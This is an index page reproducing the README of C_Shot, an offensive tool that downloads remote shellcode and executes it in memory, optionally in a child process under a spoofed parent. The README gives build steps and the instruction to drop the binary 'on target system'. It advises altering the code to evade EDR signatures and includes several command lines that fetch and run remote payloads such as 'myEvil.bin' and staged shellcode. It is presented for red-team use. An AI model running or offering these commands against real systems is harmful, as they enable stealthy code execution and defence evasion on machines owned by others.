Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/anthemtotheego/C_Shot


https://github.com/anthemtotheego/C_Shot

Last synced: 21 days ago
JSON representation

Awesome Lists containing this project

README 

        
# C_Shot



Description

============



C_Shot is an offensive security tool written in C which is designed to download, inject, and execute shellcode in memory.  Depending on the arguments used, this can be accomplished via two different methods:



**1. Inject into its own process** 



   C_Shot will download your remote .bin file, inject and execute it inside C_Shot's own process.

 

**2. Inject into child process using parent process spoofing**



   C_Shot will download your remote .bin file, spoof a specified parent process, open a specified child process (with optional commandline args) under the specified parent process, then inject and execute it inside the child process.

   

**Contact at:**

- Twitter: @anthemtotheego



**Shoutout and Contribution:** 

- Jacob Moody: Huge thanks for helping me better understand C concepts when I first started to dive into learning the language.



**Quick blog:**



http://blog.redxorblue.com/2020/07/cshot-just-what-doctor-ordered.html



**Extras:**



Included is a python script ShellcodeToBin.py that will convert your shellcode to a .bin file if needed.



**Before submitting issues, this tool may not always be updated actively. I encourage you to borrow, add, mod, and/or make your own.  Remember, there is a lot of awesome code examples out there that can be taken/modified to create your own custom tools.**



Setup - Quick and Dirty

==============================



**Note: For those of you who don't want to go through the trouble of compiling your own I uploaded an x64 and x86 binary found in the CompiledBinaries folder.  For those of you who do want to compile your own... I used Windows 10, Visual Studio 2019 - mileage may vary**



1. Download C_Shot project solution



2. Now do a windows search for Developer Command Prompt for VS 2019 and right click > open folder location                         



3. Browse to VC folder and select the Developer Command Prompt with the correct arch for the target system (x86 or x64)



4. Inside the Developer Command Prompt browse to the C_Shot directory where cshot.c is located



5. Run the following command to build C_Shot - ```cl /D _UNICODE /D UNICODE cshot.c```



6. You will see some compile warnings (can ignore) but you should now have an executable named cshot.exe



7. Drop on target system you are testing and run



Important Notes

===============



**1. Architecture of C_Shot and the shellcode you are retrieving should be the same.**



**2. This tool is written in C which is an unmanaged language.**



**3. PAGE_EXECUTE_READWRITE permissions are used in this open source POC, among other IOCs. This was done intentionally and as always, I would suggest going through and modifying the code to help get around signature/behavior based analysis.**



**4. While C_Shot can absolutely help you on your journey of executing shellcode succesfully, it can only help you with so much.  If you choose to execute for example, the widely known default staged meterpreter payload, decent EDR products (but not all) will most likely flag it upon execution of the shellcode due to known behaviors or signatures.  In most cases (but not all) this will not be a C_Shot problem but a shellcode behavior/obfuscation problem.  This however is usually easily fixed.**



C_Shot Syntax Examples

=====================



   **Download a bin file and execute shellcode into your own process**

   

   *General Syntax*

   

```cshot.exe https://Domain_or_IP/myEvil.bin  Port```



   *Examples*

   

```cshot.exe https://github.com/anthemtotheego/public/blob/master/StagelessShellcode.bin?raw=true 443```



```cshot.exe http://192.168.1.10/StagedShellcode.bin 8080```



   **Download a .bin file and execute shellcode in a chosen child process under a chosen spoofed parent process**

   

   *General Syntax*

   

```cshot.exe https://Domain_or_IP/myEvil.bin  Port ParentProcess.exe C:\Full\Path\ToChildProcess.exe```



   *or*

   

  ```cshot.exe https://Domain_or_IP/myEvil.bin  Port ParentProcess.exe C:\Full\Path\ToChildProcess.exe "my child process commandline args here"```



   *Examples*

   

```cshot.exe https://github.com/anthemtotheego/public/blob/master/StagelessShellcode.bin?raw=true 443 explorer.exe c:\windows\system32\notepad.exe```



```cshot.exe https://github.com/anthemtotheego/public/blob/master/StagelessShellcode.bin?raw=true 443 explorer.exe c:\windows\system32\cmd.exe "ipconfig /all"```



```cshot.exe https://192.168.1.10/StagedShellcode.bin 8443 chrome.exe c:\windows\system32\werfault.exe```



Convert Shellcode To Bin File 

=============================



**Included ShellcodeToBin.py script** 



1. Open up ShellcodeToBin.py in a text editor, paste in shellcode, save and run it.



2. This will produce a bin file you can download with C_Shot and execute.



Code References 

===============



*Parent Process Spoofing*



```https://github.com/hlldz/APC-PPID```



*ShellcodeToBin.py script*



```https://diego.assencio.com/?index=99d3134bb98fdcc9a7c2bd6071db737d```



*Everything else*



```MSDN```



```Unsung heroes of stackoverflow```